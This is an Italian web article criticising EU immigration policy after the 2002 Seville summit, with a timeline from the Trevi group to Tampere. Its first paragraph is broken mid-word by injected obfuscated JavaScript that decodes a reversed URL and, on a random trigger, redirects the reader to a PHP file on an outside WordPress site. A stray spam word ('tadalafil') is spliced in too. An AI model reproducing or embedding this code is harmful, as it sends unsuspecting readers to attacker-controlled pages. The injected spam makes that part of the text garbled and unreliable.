Chiusura di sicurezza

image_pdfimage_print

Al Consiglio Europeo di Siviglia dello scorso giugno (21 e 22), i capi di Governo dei 15 hanno posto al centro il tema dell’immigrazione, sebbene il dibattito abbia riguardato solo e soltanto gli aspetti repressivi e di contenimento. Ne è emerso un rafforzato impegno per la ricerca di sistemi integrati di lotta all’immigrazione cl (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andestina e di controllo comune delle frontiere. Nessun uguale impegno è stato invece preso a favore di politiche comuni di ingresso, tadalafil di integrazione degli stranieri e dell’asilo.
Nello scenario internazionale di “lotta al terrorismo” del dopo 11 settembre e nel contesto europeo dominato dalle destre e attraversato da tendenze xenofobe e razziste, la “questione sicurezza” ha ancora una volta prevalso su tutte le altre.
Sul piano interno, in molti Paesi il dibattito politico resta schiacciato dall’equazione immigrazione-ordine pubblico, mentre recentemente sono state approvate diverse normative nazionali sull’immigrazione non soltanto fortemente restrittive, ma spesso caratterizzate da una pericolosa impostazione razzista e irrispettosa dei diritti della persona (il ddl Bossi-Fini ne è un ottimo esempio!).
Sul piano dell’Unione, l’azione comunitaria resta imbrigliata nella logica che percepisce e presenta l’immigrazione come fonte di pericolo e minaccia per l’Europa, individuando la serrata delle frontiere come unica risposta possibile. L’esigenza dei singoli governi di fronteggiare i continui flussi e di dare un segnale forte al loro interno li hanno fatti retrocedere verso la politica “immigrazione zero” perseguita durante gli anni Settanta, quando in conseguenza della fase di recessione economica innescata dalla crisi petrolifera, una netta inversione si verificò rispetto alle pratiche di incoraggiamento della mobilità di manodopera che avevano prevalso a partire dal dopoguerra.
La politica europea stenta a decollare
Conseguenza diretta di questa tendenza restrittiva è una brusca frenata nel percorso di progressiva realizzazione di una politica comune in materia di immigrazione e asilo, di cui erano state poste faticosamente le basi nel corso degli anni Ottanta e Novanta, fino all’attribuzione di vere e proprie competenze comunitarie in materia con il Trattato di Amsterdam del 1997. Entro tale quadro giuridico e secondo le linee politiche fissate nei successivi vertici europei (soprattutto a Tampere nel 1999), al più tardi entro il 2004 dovrebbe essere operativa una normativa europea riguardo ai molteplici aspetti legati all’immigrazione: regole comuni riguardo agli ingressi e al soggiorno per i diversi motivi (in primo luogo, lavoro, studio e ricongiungimento familiare), ma anche riguardo alla condizione dello straniero nei Paesi dell’Unione (accesso al lavoro, protezione sociale, ecc.).
I risultati finora ottenuti
Nella realtà, ad eccezione della realizzazione di un sistema unico di visti di breve periodo per turismo, sono stati fatti progressi soltanto nel settore dei controlli alle frontiere e della lotta all’immigrazione clandestina; da un lato è stato avviato un sistema di cooperazione tra le polizie di frontiera e improntato un sistema informatico di scambio dei dati (SiS) cui, nel 2003, dovrebbe affiancarsi un archivio generale delle impronte generali dei richiedenti asilo (Eurodac); dall’altro, si è cercato di estendere oltre le frontiere esterne dell’Unione il controllo degli ingressi non regolari, promovendo la conclusione di una serie di “accordi di riammissione” con i Paesi del Nord Africa e dell’Europa centrale che in pratica impegnano questi Paesi a riaccettare i propri cittadini espulsi da un Paese europeo, in cambio di clausole di favore in materia commerciale o di aiuti concreti. È stato soltanto per l’opposizione di Francia e Svezia che a Siviglia è stata respinta la proposta avanzata da Spagna e Italia di vincolare la politica di cooperazione dell’Unione nei confronti di paesi di emigrazione alla loro effettiva collaborazione nella lotta all’immigrazione clandestina.
Le prospettive future
Di fronte all’emergenza sicurezza, restano per ora senza seguito gli impulsi dati finora dalla Commissione in direzione di una politica europea “flessibile”, armonica e più di lungo raggio. Le proposte già avanzate (sul ricongiungimento familiare, sullo status dei residenti di lunga durata, sull’ammissione) e le articolate comunicazioni in materia non sembrano suscitare troppo interesse da parte degli Stati membri.
Almeno a breve, non c’è da aspettarsi grandi cambiamenti nel terreno politico. La presidenza nei prossimi sei mesi spetta alla Danimarca. Attualmente governata da una coalizione di destra, non si è mai dimostrata troppo disponibile nel voler procedere all’integrazione in materia di immigrazione: ad Amsterdam ha addirittura optato per un regime speciale che le consente di rimanere esclusa dalle politiche comuni eventualmente realizzate in tale materia.
FORTEZZA EUROPA, PRINCIPALI TAPPE

1975: nasce il “gruppo Trevi”, organismo intergovernativo di cooperazione incaricato di studiare i fattori di minaccia alla sicurezza interna della CE, in vista della creazione di un mercato interno con libera circolazione di beni, servizi e persone. Accanto a problematiche giudiziarie e di polizia, si avvia la concertazione nel campo dell’immigrazione e dell’asilo.
1985: è concluso l’Accordo di Schengen tra alcuni Stati europei, vista la difficoltà di procedere unitamente in ambito comunitario. Si prevede l’abolizione dei controlli alle frontiere interne e il rafforzamento di quelli alle frontiere esterne.
1992: il Trattato di Maastricht formalizza la cooperazione avviata nei settori della giustizia e degli affari interni, attraverso l’istituzione del c.d. “Terzo Pilastro”. L’immigrazione continua ad essere assimilata a fenomeni di criminalità e a questioni di polizia.
1997: il Trattato di Amsterdam integra nel sistema comunitario i risultati della cooperazione ristretta di Schengen e attribuisce competenze specifiche nel settore dell’immigrazione e dell’asilo che, scorporate dalle altre tematiche sulla sicurezza, trovano almeno una collocazione più consona e distinta. Sono previste deroghe speciali a favore di Gran Bretagna, Irlanda e Danimarca.
1999: il vertice straordinario di Tampere fissa le 4 priorità della politica europea di immigrazione (partenariato con i paesi di origine, regime comune di asilo, equo trattamento dei cittadini di Paesi terzi, gestione dei flussi migratori).
Sulla politica europea di immigrazione vedi:
www.ucodep.org/Banca Dati/argomenti.asp
www.europa.eu.int/abc/cit2_it.htm

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *